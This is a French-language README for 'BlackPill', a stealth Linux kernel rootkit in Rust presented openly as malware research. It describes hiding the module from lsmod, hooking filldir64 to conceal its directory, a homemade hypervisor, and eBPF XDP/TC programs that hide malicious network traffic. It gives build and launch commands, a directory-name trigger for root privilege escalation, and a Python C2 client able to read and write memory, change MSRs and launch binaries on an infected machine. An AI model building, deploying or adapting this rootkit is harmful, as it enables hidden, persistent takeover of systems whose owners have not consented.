
Un rootkit du noyau Linux en Rust utilisant un hyperviseur de type 2 fait maison, des programmes eBPF XDP et TC
BlackPill est un rootkit furtif pour Linux réalisé en Rust.
Le rootkit est composé de plusieurs modules (modules Rust, pas des modules noyau) :
L'architecture ressemble à ceci :

Et voici comment le code malveillant est exécuté du C2 vers l'invité VM :

Le C2 envoie des mnémoniques x86_64 assemblés sur mesure au rootkit, qui les transmet ensuite à l'invité VM pour exécution. L'invité VM est isolé de l'hôte et peut être utilisé pour exécuter du code malveillant.
Le noyau ne voit pas les paquets malveillants entrants car ils sont filtrés par le programme eBPF XDP et redirigés vers le module LKM, et les paquets sortants sont modifiés par le programme eBPF TC.
[!IMPORTANT]
Ce projet est encore en cours de développement. Toutes les fonctionnalités ne sont pas opérationnelles !
N'hésitez pas à soumettre des issues ou des pull requests.
Le hooking est une capacité fondamentale du rootkit, implémentée à l'aide de kprobes dans le noyau Linux. Cette technique intercepte et redirige l'exécution des fonctions système pour surveiller ou modifier leur comportement. Dans le contexte de ce rootkit, kprobes fournit un mécanisme puissant pour interagir avec les fonctions du noyau sans altérer directement le code source.
Pour assurer la furtivité, le rootkit emploie deux mécanismes principaux anti-détection :
Retrait du module de la liste des modules du noyau
Lorsqu'un module noyau est chargé, il est ajouté à la liste des modules du noyau, visible via des outils comme lsmod ou /proc/modules. Pour éviter la détection :
Hooking de la fonction filldir64 pour cacher un répertoire spécifique
Pour dissimuler les fichiers utilisés par le rootkit, un hook est implémenté sur la fonction filldir64. Cette fonction est invoquée lorsqu'un processus lit le contenu d'un répertoire (par exemple via les appels système getdents ou readdir).
filldir64 à l'aide de kprobes./BLACKPILL-BLACKPILL (utilisé pour stocker les fichiers critiques du rootkit), elle est filtrée et n'est pas renvoyée à l'utilisateur.Notre hyperviseur simple a été implémenté en suivant ces étapes :
Configuration initiale du système
Entrée en mode VMX ou SVM
Gestion des transitions entre hôte et invité
Création du système invité
Communication
La persistance est une capacité critique de tout rootkit, lui permettant de maintenir le contrôle sur le système cible même après un redémarrage.
Dans son implémentation actuelle, le mécanisme de persistance démontre sa fonctionnalité en créant un fichier test dans le système de fichiers à l'aide de la commande /bin/touch. Cette action de démonstration montre la capacité du rootkit à exécuter des opérations privilégiées et peut être étendue pour implémenter des stratégies de persistance plus avancées.
Elle est désormais inutile car notre priorité n'est pas de créer un rootkit de niveau APT, mais plutôt de mener des recherches sur des concepts moins explorés.
Plusieurs étapes sont nécessaires avant de compiler notre rootkit. L'environnement de développement se compose de :
Commencez par cloner le dépôt et ses sous-modules superficiels :
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
Sur une distribution basée sur Arch :
sudo pacman -S qemu-base qemu-desktop docker grub
Sur une distribution Linux basée sur Arch, installez Rust et autres dépendances :
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
Ensuite, nous aurons besoin des sources Rust et de bindgen :
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
Assurez-vous de pouvoir commencer à compiler votre noyau avec Rust en exécutant dans le dossier linux/ :
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
Lancez la tâche de configuration initiale qui configure et compile le noyau :
make first-time-setup
[!IMPORTANT]
Si des options de personnalisation vous sont demandées, appuyez sur Entrée à chaque fois.
Vous pouvez compiler le module noyau Rust (hors arbre) avec :
make
Lancez la VM avec :
make vm
Dans la VM, vous êtes automatiquement connecté en tant que root. Vous pouvez activer le module :
$ modprobe blackpill
# vous pouvez vérifier les logs du noyau avec
$ dmesg
Une fois la VM démarrée, vous pouvez utiliser la commande ci-dessus pour élever vos privilèges :
mkdir ImFeelingRootNow_<PID>
Remplacez <PID> par l'identifiant du processus dont vous souhaitez élever les privilèges.
Ce C2 simple envoie des opcodes x86-64 à la machine infectée via UDP et reçoit des paquets TCP. Ses fonctions sont actuellement limitées à une interaction bas niveau avec la machine, mais pourraient permettre de nombreuses utilisations pratiques avec davantage de wrappers.
Configurez le client Python :
cd blackpill-c2
poetry install
poetry shell
python client.py
Après avoir lancé le client avec vos arguments ([ip] [port]), vous devriez obtenir :
$ python client.py 0.0.0.0 1339
Connecté au rootkit !
Ensuite, vous pouvez utiliser la commande help pour afficher les commandes disponibles :
blackpill: help
Commandes disponibles
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Commande ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <adresse> │ Lire 4 octets (32 bits) mémoire à 'adresse' │
│ write_virt_memory <adresse> <valeur>│ Écrire 4 octets (32 bits) mémoire à 'adresse' │
│ launch_userland_binary <chemin> │ Lancer un binaire espace utilisateur au 'chemin' │
│ change_msr <msr> <valeur> │ Modifier la valeur d'un registre MSR (Model Specific Register) │
│ read_phys_memory <adresse> <valeur> │ Lire 4 octets (32 bits) de mémoire physique à 'adresse' │
│ write_phys_memory <adresse> <valeur>│ Écrire 4 octets (32 bits) de mémoire physique à 'adresse'│
│ stop_execution │ Arrêter l'exécution de la VM invitée │
│ change_vmcs_field <champ> <valeur> │ Modifier un champ VMCS à la 'valeur' │
│ help │ Afficher ce message d'aide │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
Configuration de l'environnement :
Utilisation de programmes eBPF XDP et TC pour modifier le trafic réseau entrant et sortant
Pour normaliser nos communications réseau malveillantes, nous utilisons des programmes eBPF XDP (eXpress Data Path) et TC (Traffic Control). Ainsi, nous pouvons :